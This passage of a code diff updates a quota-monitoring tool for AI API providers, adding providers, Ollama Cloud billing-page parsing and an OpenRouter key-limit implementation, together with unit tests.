[new DOMException('Timed out', 'TimeoutError'), 'Request timed out'],
|
||||
[new Error('Network unavailable'), 'Network unavailable'],
|
||||
])('reports request failure', async (failure, message) => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => { throw failure; } });
|
||||
expect(result.error).toBe(message);
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.usage).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -8,6 +8,7 @@
|
||||
import { buildResult } from '../utils/index.js';
|
||||
|
||||
import * as claude from './claude/index.js';
|
||||
import * as clinePass from './cline-pass.js';
|
||||
import * as codex from './codex.js';
|
||||
import * as copilot from './copilot.js';
|
||||
import * as crof from './crof.js';
|
||||
@@ -15,6 +16,7 @@ import * as cursor from './cursor.js';
|
||||
import * as deepseek from './deepseek.js';
|
||||
import * as exeDev from './exe-dev.js';
|
||||
import * as google from './google/index.js';
|
||||
import * as hyper from './hyper.js';
|
||||
import * as kimi from './kimi.js';
|
||||
import * as nanogpt from './nanogpt.js';
|
||||
import * as openai from './openai.js';
|
||||
@@ -36,6 +38,12 @@ const registry = {
|
||||
isConfigured: claude.isConfigured,
|
||||
fetchQuota: claude.fetchQuota
|
||||
},
|
||||
'cline-pass': {
|
||||
providerId: clinePass.providerId,
|
||||
providerName: clinePass.providerName,
|
||||
isConfigured: clinePass.isConfigured,
|
||||
fetchQuota: clinePass.fetchQuota
|
||||
},
|
||||
codex: {
|
||||
providerId: codex.providerId,
|
||||
providerName: codex.providerName,
|
||||
@@ -72,6 +80,12 @@ const registry = {
|
||||
isConfigured: google.isConfigured,
|
||||
fetchQuota: google.fetchGoogleQuota
|
||||
},
|
||||
hyper: {
|
||||
providerId: hyper.providerId,
|
||||
providerName: hyper.providerName,
|
||||
isConfigured: hyper.isConfigured,
|
||||
fetchQuota: hyper.fetchQuota
|
||||
},
|
||||
'zai-coding-plan': {
|
||||
providerId: zai.providerId,
|
||||
providerName: zai.providerName,
|
||||
@@ -220,6 +234,7 @@ export const fetchGoogleQuota = google.fetchGoogleQuota;
|
||||
export const fetchCodexQuota = codex.fetchQuota;
|
||||
export const fetchCursorQuota = cursor.fetchQuota;
|
||||
export const fetchDeepseekQuota = deepseek.fetchQuota;
|
||||
export const fetchHyperQuota = hyper.fetchQuota;
|
||||
export const fetchCopilotQuota = copilot.fetchQuota;
|
||||
export const fetchCopilotAddonQuota = copilot.fetchQuotaAddon;
|
||||
export const fetchKimiQuota = kimi.fetchQuota;
|
||||
|
||||
@@ -74,7 +74,6 @@ export const fetchQuota = async () => {
|
||||
const subscription = payload?.subscription ?? null;
|
||||
const inOverage = Boolean(subscription?.in_overage);
|
||||
const allowance = payload?.key?.allowance ?? null;
|
||||
const keyName = payload?.key?.name ?? null;
|
||||
const creditsRemaining = toNumber(payload?.balance?.credits_remaining_usd);
|
||||
|
||||
const windows = {};
|
||||
@@ -116,19 +115,17 @@ export const fetchQuota = async () => {
|
||||
: (spent !== null && effectiveLimit !== null && effectiveLimit > 0
|
||||
? Math.max(0, Math.min(100, (spent / effectiveLimit) * 100))
|
||||
: null);
|
||||
// Window title is the localized period label (daily/weekly/monthly); key
|
||||
// name is attached via valueLabel for identification (wafer precedent).
|
||||
// Window title is the localized period label (daily/weekly/monthly); the
|
||||
// usage value stays a percent so the UI's display-mode toggle applies.
|
||||
const periodKey = (period === 'daily' || period === 'weekly' || period === 'monthly' || period === 'month')
|
||||
? (period === 'month' ? 'monthly' : period)
|
||||
: 'billing_cycle';
|
||||
const labelName = asNonEmptyString(keyName);
|
||||
const resetAt = toTimestamp(allowance.reset_at);
|
||||
const windowSeconds = period ? periodToWindowSeconds(period) : null;
|
||||
windows[periodKey] = toUsageWindow({
|
||||
usedPercent,
|
||||
windowSeconds,
|
||||
resetAt,
|
||||
...(labelName ? { valueLabel: labelName } : {})
|
||||
resetAt
|
||||
});
|
||||
} else if (creditsRemaining !== null) {
|
||||
windows.credits_balance = toUsageWindow({
|
||||
|
||||
@@ -89,7 +89,7 @@ describe('NeuralWatt quota provider', () => {
|
||||
expect(result.usage.windows.credits_balance.valueLabel).toBe('$32.68');
|
||||
});
|
||||
|
||||
it('surfaces subscription and allowance windows (allowance keyed by period, key name in valueLabel)', async () => {
|
||||
it('surfaces subscription and allowance windows (allowance keyed by period, percent value)', async () => {
|
||||
const payload = {
|
||||
...DOCUMENTED_SUBSCRIPTION_PAYLOAD,
|
||||
balance: { credits_remaining_usd: 200 },
|
||||
@@ -107,11 +107,11 @@ describe('NeuralWatt quota provider', () => {
|
||||
expect(subWindow.usedPercent).toBeCloseTo((13.9023 / 20.0) * 100, 4);
|
||||
|
||||
// Allowance window is keyed by the localized period label ("monthly");
|
||||
// key name flows through valueLabel for identification.
|
||||
// the usage value stays a percent — no key-name valueLabel.
|
||||
const allowWindow = result.usage.windows.monthly;
|
||||
expect(allowWindow).toBeDefined();
|
||||
expect(allowWindow.usedPercent).toBe(25);
|
||||
expect(allowWindow.valueLabel).toBe('Prod');
|
||||
expect(allowWindow.valueLabel).toBeUndefined();
|
||||
expect(allowWindow.resetAt).toBe(Date.parse('2026-08-01T00:00:00Z'));
|
||||
|
||||
// credits_balance suppressed because allowance is present
|
||||
@@ -137,7 +137,7 @@ describe('NeuralWatt quota provider', () => {
|
||||
expect(window.usedPercent).toBeCloseTo((25 / 55) * 100, 4);
|
||||
expect(window.windowSeconds).toBe(30 * 86400);
|
||||
expect(window.resetAt).toBe(Date.parse('2026-08-01T00:00:00Z'));
|
||||
expect(window.valueLabel).toBe('prod-key');
|
||||
expect(window.valueLabel).toBeUndefined();
|
||||
expect(result.usage.windows.credits_balance).toBeUndefined();
|
||||
});
|
||||
|
||||
@@ -176,7 +176,7 @@ describe('NeuralWatt quota provider', () => {
|
||||
expect(window).toBeDefined();
|
||||
expect(window.windowSeconds).toBe(604800);
|
||||
expect(window.resetAt).toBe(Date.parse('2026-07-04T00:00:00Z'));
|
||||
expect(window.valueLabel).toBe('Prod');
|
||||
expect(window.valueLabel).toBeUndefined();
|
||||
});
|
||||
|
||||
it('uses daily as the allowance key when period is daily', async () => {
|
||||
@@ -216,7 +216,7 @@ describe('NeuralWatt quota provider', () => {
|
||||
expect(window.usedPercent).toBe(25);
|
||||
});
|
||||
|
||||
it('marks blocked allowance as 100% with valueLabel set', async () => {
|
||||
it('marks blocked allowance as 100% with percent value', async () => {
|
||||
const payload = {
|
||||
balance: { credits_remaining_usd: 30 },
|
||||
subscription: null,
|
||||
@@ -231,7 +231,7 @@ describe('NeuralWatt quota provider', () => {
|
||||
|
||||
const window = result.usage.windows.monthly;
|
||||
expect(window.usedPercent).toBe(100);
|
||||
expect(window.valueLabel).toBe('sample');
|
||||
expect(window.valueLabel).toBeUndefined();
|
||||
});
|
||||
|
||||
it('falls back to credits_balance when neither subscription nor allowance exists', async () => {
|
||||
|
||||
@@ -35,6 +35,37 @@ export const parseOllamaSettingsHtml = (html) => {
|
||||
valueLabel: `${used ?? 0} / ${total ?? 0}`
|
||||
});
|
||||
}
|
||||
// Cost-based plans render "Monthly usage" with a dollar amount instead of
|
||||
// session/weekly/premium windows; support both page shapes.
|
||||
const monthlyMatch = html.match(/Monthly\s+usage[\s\S]{0,200}?\$([0-9][0-9,.]*)\s+of\s+\$([0-9][0-9,.]*)/i);
|
||||
if (monthlyMatch) {
|
||||
const used = toNumber(monthlyMatch[1].replace(/,/g, ''));
|
||||
const total = toNumber(monthlyMatch[2].replace(/,/g, ''));
|
||||
const usedPercent = total && used !== null ? Math.min(100, (used / total) * 100) : null;
|
||||
windows.monthly = toUsageWindow({
|
||||
usedPercent,
|
||||
windowSeconds: null,
|
||||
resetAt: null,
|
||||
valueLabel: `$${monthlyMatch[1]} / $${monthlyMatch[2]}`
|
||||
});
|
||||
}
|
||||
// "Extra usage" credits block (visible when credits/auto-reload is enabled):
|
||||
// a balance, not a percent. Anchor on "Balance remaining" — nearby "Add $5"
|
||||
// and auto-reload copy also contain dollar amounts. Surfaced with the
|
||||
// credits_balance key and OpenAI-style plain money label (the UI renders
|
||||
// it as "Credits Balance"); a $0 balance is omitted rather than shown.
|
||||
const balanceMatch = html.match(/Balance\s+remaining[\s\S]{0,200}?\$([0-9][0-9,.]*)/i);
|
||||
if (balanceMatch) {
|
||||
const balance = toNumber(balanceMatch[1].replace(/,/g, ''));
|
||||
if (balance !== 0) {
|
||||
windows.credits_balance = toUsageWindow({
|
||||
usedPercent: null,
|
||||
windowSeconds: null,
|
||||
resetAt: null,
|
||||
valueLabel: `$${balanceMatch[1]}`
|
||||
});
|
||||
}
|
||||
}
|
||||
return windows;
|
||||
};
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'bun:test';
|
||||
import { fetchOllamaCloudUsage } from './ollama-cloud.js';
|
||||
import { parseOllamaSettingsHtml, fetchOllamaCloudUsage } from './ollama-cloud.js';
|
||||
|
||||
describe('Ollama Cloud quota provider', () => {
|
||||
it('rejects redirects without forwarding credentials', async () => {
|
||||
@@ -9,4 +9,36 @@ describe('Ollama Cloud quota provider', () => {
|
||||
it('rejects successful pages without usage data', async () => {
|
||||
await expect(fetchOllamaCloudUsage({ cookie: 'session=secret' }, async () => new Response('<html></html>'))).rejects.toThrow('could not be parsed');
|
||||
});
|
||||
|
||||
it('parses session/weekly/premium windows', () => {
|
||||
const windows = parseOllamaSettingsHtml('<p>Session usage: 42%</p><p>Weekly usage: 7%</p><p>Premium 120 / 1000</p>');
|
||||
expect(windows.session.usedPercent).toBe(42);
|
||||
expect(windows.weekly.usedPercent).toBe(7);
|
||||
expect(windows.premium.usedPercent).toBe(12);
|
||||
expect(windows.premium.valueLabel).toBe('120 / 1000');
|
||||
});
|
||||
|
||||
it('parses the cost-based monthly usage shape', () => {
|
||||
const html = '<span class="text-sm">Monthly usage</span>\n <span class="text-sm "\n >$4.39 of $60 used</span\n >';
|
||||
const windows = parseOllamaSettingsHtml(html);
|
||||
expect(windows.monthly.usedPercent).toBeCloseTo(7.3, 1);
|
||||
expect(windows.monthly.valueLabel).toBe('$4.39 / $60');
|
||||
expect(windows.monthly.remainingPercent).toBeCloseTo(92.7, 1);
|
||||
});
|
||||
|
||||
it('parses the extra-usage credits balance', () => {
|
||||
const html = '<div><span>Balance remaining</span><span>$12.50</span></div><button>Add $5</button>';
|
||||
const windows = parseOllamaSettingsHtml(html);
|
||||
expect(windows.credits_balance.usedPercent).toBeNull();
|
||||
expect(windows.credits_balance.valueLabel).toBe('$12.50');
|
||||
});
|
||||
|
||||
it('omits the credits balance when it is zero', () => {
|
||||
const html = '<div><span>Balance remaining</span><span>$0.00</span></div>';
|
||||
expect(parseOllamaSettingsHtml(html).credits_balance).toBeUndefined();
|
||||
});
|
||||
|
||||
it('ignores nearby dollar amounts that are not the balance', () => {
|
||||
expect(parseOllamaSettingsHtml('<p>Add $5 to your balance when it hits $0</p>').credits_balance).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -25,7 +25,7 @@ export const parseOpenCodeGoUsage = (payload) => {
|
||||
if (typeof resetAt !== 'string' || !Number.isFinite(new Date(resetAt).getTime())) continue;
|
||||
windows[key] = toUsageWindow({
|
||||
usedPercent: Math.min(100, Math.max(0, usedPercent)),
|
||||
resetAt,
|
||||
resetAt: new Date(resetAt).getTime(),
|
||||
windowSeconds: null,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -27,11 +27,36 @@ describe('OpenCode Go quota provider', () => {
|
||||
it('parses partial API usage windows', () => {
|
||||
const windows = parseOpenCodeGoUsage({ usage: { rolling: { percent: 25, resetsAt: '2026-08-12T12:00:00.000Z' }, weekly: { percent: 40, resetsAt: '2026-08-19T12:00:00.000Z' } } });
|
||||
expect(windows['5h'].usedPercent).toBe(25);
|
||||
expect(windows['5h'].resetAt).toBe('2026-08-12T12:00:00.000Z');
|
||||
expect(windows['5h'].resetAt).toBe(Date.parse('2026-08-12T12:00:00.000Z'));
|
||||
expect(windows.weekly.usedPercent).toBe(40);
|
||||
expect(windows.monthly).toBeUndefined();
|
||||
});
|
||||
|
||||
it('returns numeric reset timestamps for all usage windows', async () => {
|
||||
const resetsAt = '2026-10-01T00:00:00.000Z';
|
||||
const windows = await fetchOpenCodeGoUsage('test-key', async () => new Response(JSON.stringify({
|
||||
usage: {
|
||||
rolling: { percent: 25, resetsAt },
|
||||
weekly: { percent: 40, resetsAt },
|
||||
monthly: { percent: 60, resetsAt },
|
||||
},
|
||||
})));
|
||||
expect(Object.keys(windows)).toEqual(['5h', 'weekly', 'monthly']);
|
||||
for (const window of Object.values(windows)) {
|
||||
expect(window.resetAt).toBe(Date.parse(resetsAt));
|
||||
}
|
||||
});
|
||||
|
||||
it('preserves valid windows when another reset date is invalid', () => {
|
||||
const windows = parseOpenCodeGoUsage({ usage: {
|
||||
rolling: { percent: 25, resetsAt: 'invalid' },
|
||||
weekly: { percent: 40, resetsAt: '2026-08-19T12:00:00.000Z' },
|
||||
monthly: { percent: 60, resetsAt: null },
|
||||
} });
|
||||
expect(Object.keys(windows)).toEqual(['weekly']);
|
||||
expect(windows.weekly.resetAt).toBe(Date.parse('2026-08-19T12:00:00.000Z'));
|
||||
});
|
||||
|
||||
it('does not expose credentials in authentication errors', async () => {
|
||||
await expect(fetchOpenCodeGoUsage('secret', async () => new Response('', { status: 403 }))).rejects.toThrow('authentication failed');
|
||||
});
|
||||
|
||||
@@ -5,12 +5,30 @@ import {
|
||||
buildResult,
|
||||
toUsageWindow,
|
||||
toNumber,
|
||||
asObject,
|
||||
formatMoney
|
||||
} from '../utils/index.js';
|
||||
|
||||
export const providerId = 'openrouter';
|
||||
export const providerName = 'OpenRouter';
|
||||
const aliases = ['openrouter'];
|
||||
export const aliases = ['openrouter'];
|
||||
const OPENROUTER_QUOTA_URL = 'https://openrouter.ai/api/v1/key';
|
||||
const PERIOD_SECONDS = { daily: 86400, weekly: 604800, monthly: 30 * 86400 };
|
||||
|
||||
export const resolveResetAt = (limitReset, nowMs) => {
|
||||
const now = new Date(nowMs);
|
||||
const y = now.getUTCFullYear();
|
||||
const m = now.getUTCMonth();
|
||||
const d = now.getUTCDate();
|
||||
|
||||
if (limitReset === 'daily') return Date.UTC(y, m, d + 1);
|
||||
if (limitReset === 'weekly') {
|
||||
const dow = now.getUTCDay();
|
||||
return Date.UTC(y, m, d + ((8 - dow) % 7 || 7));
|
||||
}
|
||||
if (limitReset === 'monthly') return Date.UTC(y, m + 1, 1);
|
||||
return null;
|
||||
};
|
||||
|
||||
export const isConfigured = () => {
|
||||
const auth = readAuthFile();
|
||||
@@ -33,13 +51,16 @@ export const fetchQuota = async () => {
|
||||
});
|
||||
}
|
||||
|
||||
const timeoutSignal = AbortSignal.timeout(15_000);
|
||||
|
||||
try {
|
||||
const response = await fetch('https://openrouter.ai/api/v1/credits', {
|
||||
const response = await fetch(OPENROUTER_QUOTA_URL, {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Authorization: `Bearer ${apiKey}`,
|
||||
'Content-Type': 'application/json'
|
||||
}
|
||||
'Accept-Encoding': 'identity'
|
||||
},
|
||||
signal: timeoutSignal
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
@@ -48,45 +69,119 @@ export const fetchQuota = async () => {
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: `API error: ${response.status}`
|
||||
error: response.status === 401 || response.status === 403
|
||||
? 'Session expired — please re-authenticate with OpenRouter'
|
||||
: `API error: ${response.status}`
|
||||
});
|
||||
}
|
||||
|
||||
const payload = await response.json();
|
||||
const credits = payload?.data ?? {};
|
||||
const totalCredits = toNumber(credits.total_credits);
|
||||
const totalUsage = toNumber(credits.total_usage);
|
||||
const remaining = totalCredits !== null && totalUsage !== null
|
||||
? Math.max(0, totalCredits - totalUsage)
|
||||
: null;
|
||||
let valueLabel = null;
|
||||
if (remaining !== null && totalUsage !== null) {
|
||||
valueLabel = `$${formatMoney(remaining)} left · $${formatMoney(totalUsage)} spent`;
|
||||
const data = asObject(payload?.data);
|
||||
|
||||
if (data === null) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: 'No quota data in response'
|
||||
});
|
||||
}
|
||||
|
||||
const windows = {
|
||||
credits: toUsageWindow({
|
||||
usedPercent: null,
|
||||
windowSeconds: null,
|
||||
resetAt: null,
|
||||
valueLabel
|
||||
})
|
||||
};
|
||||
if (data.is_management_key === true) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: 'Management key configured — quota needs an inference API key'
|
||||
});
|
||||
}
|
||||
|
||||
const limit = toNumber(data.limit);
|
||||
const limitRemaining = toNumber(data.limit_remaining);
|
||||
if (limit !== null && limitRemaining === null) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: 'No quota data in response'
|
||||
});
|
||||
}
|
||||
|
||||
const usageMonthly = toNumber(data.usage_monthly);
|
||||
if (limit === null && usageMonthly === null) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: 'No quota data in response'
|
||||
});
|
||||
}
|
||||
|
||||
const nowMs = Date.now();
|
||||
let windowKey;
|
||||
let windowSeconds;
|
||||
let resetAt;
|
||||
let usedPercent;
|
||||
let valueLabel;
|
||||
|
||||
if (limit === null) {
|
||||
windowKey = 'monthly';
|
||||
windowSeconds = PERIOD_SECONDS.monthly;
|
||||
resetAt = resolveResetAt('monthly', nowMs);
|
||||
usedPercent = null;
|
||||
valueLabel = `$${formatMoney(usageMonthly)} spent`;
|
||||
} else {
|
||||
const used = Math.max(0, limit - limitRemaining);
|
||||
const percent = limit > 0 ? (used / limit) * 100 : null;
|
||||
usedPercent = percent === null ? null : Math.min(100, percent);
|
||||
valueLabel = `$${formatMoney(used)} / $${formatMoney(limit)}`;
|
||||
|
||||
if (Object.hasOwn(PERIOD_SECONDS, data.limit_reset)) {
|
||||
windowKey = data.limit_reset;
|
||||
windowSeconds = PERIOD_SECONDS[data.limit_reset];
|
||||
resetAt = resolveResetAt(data.limit_reset, nowMs);
|
||||
} else {
|
||||
windowKey = 'credits';
|
||||
windowSeconds = null;
|
||||
resetAt = null;
|
||||
}
|
||||
}
|
||||
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: true,
|
||||
configured: true,
|
||||
usage: { windows }
|
||||
usage: {
|
||||
windows: {
|
||||
[windowKey]: toUsageWindow({
|
||||
usedPercent,
|
||||
windowSeconds,
|
||||
resetAt,
|
||||
valueLabel
|
||||
})
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (error) {
|
||||
const isTimeout = error instanceof DOMException && (
|
||||
error.name === 'TimeoutError' || (error.name === 'AbortError' && timeoutSignal.aborted)
|
||||
);
|
||||
const isParseError = error instanceof SyntaxError;
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: error instanceof Error ? error.message : 'Request failed'
|
||||
error: isTimeout
|
||||
? 'Request timed out'
|
||||
: isParseError
|
||||
? 'Invalid response from provider'
|
||||
: (error instanceof Error ? error.message : 'Request failed')
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
@@ -0,0 +1,330 @@
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
vi.mock('../../opencode/auth.js', () => ({
|
||||
readAuthFile: () => ({ openrouter: { key: 'test-token' } }),
|
||||
}));
|
||||
|
||||
import { fetchQuota, resolveResetAt } from './openrouter.js';
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
const mockResponse = (body, init = {}) => ({
|
||||
ok: true,
|
||||
status: 200,
|
||||
json: async () => body,
|
||||
...init,
|
||||
});
|
||||
|
||||
// Documented payload shape from https://openrouter.ai/docs/api_reference/limits
|
||||
const DOCUMENTED_PAYLOAD = {
|
||||
data: {
|
||||
label: 'Default',
|
||||
limit: 30,
|
||||
limit_remaining: 25,
|
||||
limit_reset: 'monthly',
|
||||
include_byok_in_limit: false,
|
||||
usage: 5,
|
||||
usage_daily: 1,
|
||||
usage_weekly: 3,
|
||||
usage_monthly: 5,
|
||||
byok_usage: 0,
|
||||
byok_usage_daily: 0,
|
||||
byok_usage_weekly: 0,
|
||||
byok_usage_monthly: 0,
|
||||
is_free_tier: false,
|
||||
is_management_key: false,
|
||||
is_provisioning_key: false,
|
||||
creator_user_id: 'user-fixture',
|
||||
expires_at: null,
|
||||
rate_limit: null
|
||||
}
|
||||
};
|
||||
|
||||
const expectMonthlyReset = (resetAt) => {
|
||||
expect(resetAt).toEqual(expect.any(Number));
|
||||
const resetDate = new Date(resetAt);
|
||||
expect(resetDate.getUTCDate()).toBe(1);
|
||||
expect(resetDate.getUTCHours()).toBe(0);
|
||||
expect(resetAt - Date.now()).toBeGreaterThan(0);
|
||||
expect(resetAt - Date.now()).toBeLessThanOrEqual(31 * 86400 * 1000);
|
||||
};
|
||||
|
||||
describe('OpenRouter quota provider', () => {
|
||||
it('builds a monthly window from the documented payload', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse(DOCUMENTED_PAYLOAD)));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.monthly;
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
expect(result.providerId).toBe('openrouter');
|
||||
expect(window.usedPercent).toBeCloseTo(16.6667, 3);
|
||||
expect(window.valueLabel).toBe('$5.00 / $30.00');
|
||||
expect(window.windowSeconds).toBe(30 * 86400);
|
||||
expectMonthlyReset(window.resetAt);
|
||||
});
|
||||
|
||||
it('uses the daily window and preserves the observed funded-key values', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: {
|
||||
usage: 3.17561396,
|
||||
usage_daily: 0.0000018,
|
||||
usage_weekly: 0.0000018,
|
||||
usage_monthly: 3.17561396,
|
||||
limit: 30,
|
||||
limit_remaining: 29.9999982,
|
||||
limit_reset: 'daily',
|
||||
is_free_tier: true,
|
||||
is_management_key: false,
|
||||
include_byok_in_limit: false,
|
||||
byok_usage: 0
|
||||
}
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.daily;
|
||||
|
||||
expect(window).toBeDefined();
|
||||
expect(window.windowSeconds).toBe(86400);
|
||||
expect(window.valueLabel).toBe('$0.00 / $30.00');
|
||||
expect(window.usedPercent).toBeLessThan(0.001);
|
||||
expect(window.resetAt % 86400000).toBe(0);
|
||||
expect(window.resetAt - Date.now()).toBeGreaterThan(0);
|
||||
expect(window.resetAt - Date.now()).toBeLessThanOrEqual(86400000);
|
||||
});
|
||||
|
||||
it('builds a monthly unlimited window from null limit fields', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: {
|
||||
limit: null,
|
||||
limit_remaining: null,
|
||||
limit_reset: null,
|
||||
usage_monthly: 3.17561396,
|
||||
is_management_key: false
|
||||
}
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.monthly;
|
||||
|
||||
expect(window.usedPercent).toBeNull();
|
||||
expect(window.valueLabel).toBe('$3.18 spent');
|
||||
expect(window.windowSeconds).toBe(30 * 86400);
|
||||
expectMonthlyReset(window.resetAt);
|
||||
});
|
||||
|
||||
it('uses a credits window for a lifetime cap', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: { limit: 30, limit_remaining: 25, limit_reset: null, usage_monthly: 5 }
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.credits;
|
||||
|
||||
expect(window).toBeDefined();
|
||||
expect(window.resetAt).toBeNull();
|
||||
expect(window.windowSeconds).toBeNull();
|
||||
});
|
||||
|
||||
it('uses a credits window for an unrecognized reset period', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: { limit: 30, limit_remaining: 25, limit_reset: 'yearly', usage_monthly: 5 }
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.credits;
|
||||
|
||||
expect(window).toBeDefined();
|
||||
expect(window.resetAt).toBeNull();
|
||||
expect(window.windowSeconds).toBeNull();
|
||||
});
|
||||
|
||||
it('builds a weekly window from a weekly limit', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: { limit: 30, limit_remaining: 25, limit_reset: 'weekly', usage_monthly: 5 }
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.weekly;
|
||||
|
||||
expect(window).toBeDefined();
|
||||
expect(window.windowSeconds).toBe(604800);
|
||||
expect(new Date(window.resetAt).getUTCDay()).toBe(1);
|
||||
expect(window.resetAt - Date.now()).toBeGreaterThan(0);
|
||||
expect(window.resetAt - Date.now()).toBeLessThanOrEqual(7 * 86400 * 1000);
|
||||
});
|
||||
|
||||
it('ignores BYOK usage when calculating the quota label and percent', async () => {
|
||||
const withByokPayload = {
|
||||
...DOCUMENTED_PAYLOAD,
|
||||
data: {
|
||||
...DOCUMENTED_PAYLOAD.data,
|
||||
include_byok_in_limit: true,
|
||||
byok_usage_monthly: 100,
|
||||
byok_usage: 100
|
||||
}
|
||||
};
|
||||
const fetchMock = vi.fn()
|
||||
.mockResolvedValueOnce(mockResponse(DOCUMENTED_PAYLOAD))
|
||||
.mockResolvedValueOnce(mockResponse(withByokPayload));
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
const withoutByok = await fetchQuota();
|
||||
const withByok = await fetchQuota();
|
||||
|
||||
expect(withByok.usage.windows.monthly.valueLabel)
|
||||
.toBe(withoutByok.usage.windows.monthly.valueLabel);
|
||||
expect(withByok.usage.windows.monthly.usedPercent)
|
||||
.toBe(withoutByok.usage.windows.monthly.usedPercent);
|
||||
});
|
||||
|
||||
it('rejects management keys with a specific error', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: { is_management_key: true }
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.usage).toBeNull();
|
||||
expect(result.error).toBe('Management key configured — quota needs an inference API key');
|
||||
});
|
||||
|
||||
it.each([401, 403])('maps %s to a session-expired error', async (status) => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: false, status }));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.error).toBe('Session expired — please re-authenticate with OpenRouter');
|
||||
});
|
||||
|
||||
it('reports invalid-response on JSON parse failure', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
status: 200,
|
||||
json: async () => { throw new SyntaxError('Unexpected token'); },
|
||||
}));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.error).toBe('Invalid response from provider');
|
||||
});
|
||||
|
||||
it('reports a normalized timeout error', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new DOMException('The operation timed out.', 'TimeoutError')));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.error).toBe('Request timed out');
|
||||
});
|
||||
|
||||
it('returns no-quota-data when data is missing', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.error).toBe('No quota data in response');
|
||||
expect(result.usage).toBeNull();
|
||||
});
|
||||
|
||||
it('returns no-quota-data when data is empty', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({ data: {} })));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.error).toBe('No quota data in response');
|
||||
expect(result.usage).toBeNull();
|
||||
});
|
||||
|
||||
it.each([null, []])('returns no-quota-data when data is %s', async (data) => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({ data })));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.usage).toBeNull();
|
||||
expect(result.error).toBe('No quota data in response');
|
||||
});
|
||||
|
||||
it('returns no-quota-data when a limit has no remaining value', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: { limit: 30, limit_remaining: null, usage_monthly: 5 }
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.error).toBe('No quota data in response');
|
||||
});
|
||||
|
||||
it('keeps a zero limit valid with a null percent', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: { limit: 0, limit_remaining: 0, limit_reset: 'monthly', usage_monthly: 0 }
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.monthly;
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
expect(window.usedPercent).toBeNull();
|
||||
expect(window.valueLabel).toBe('$0.00 / $0.00');
|
||||
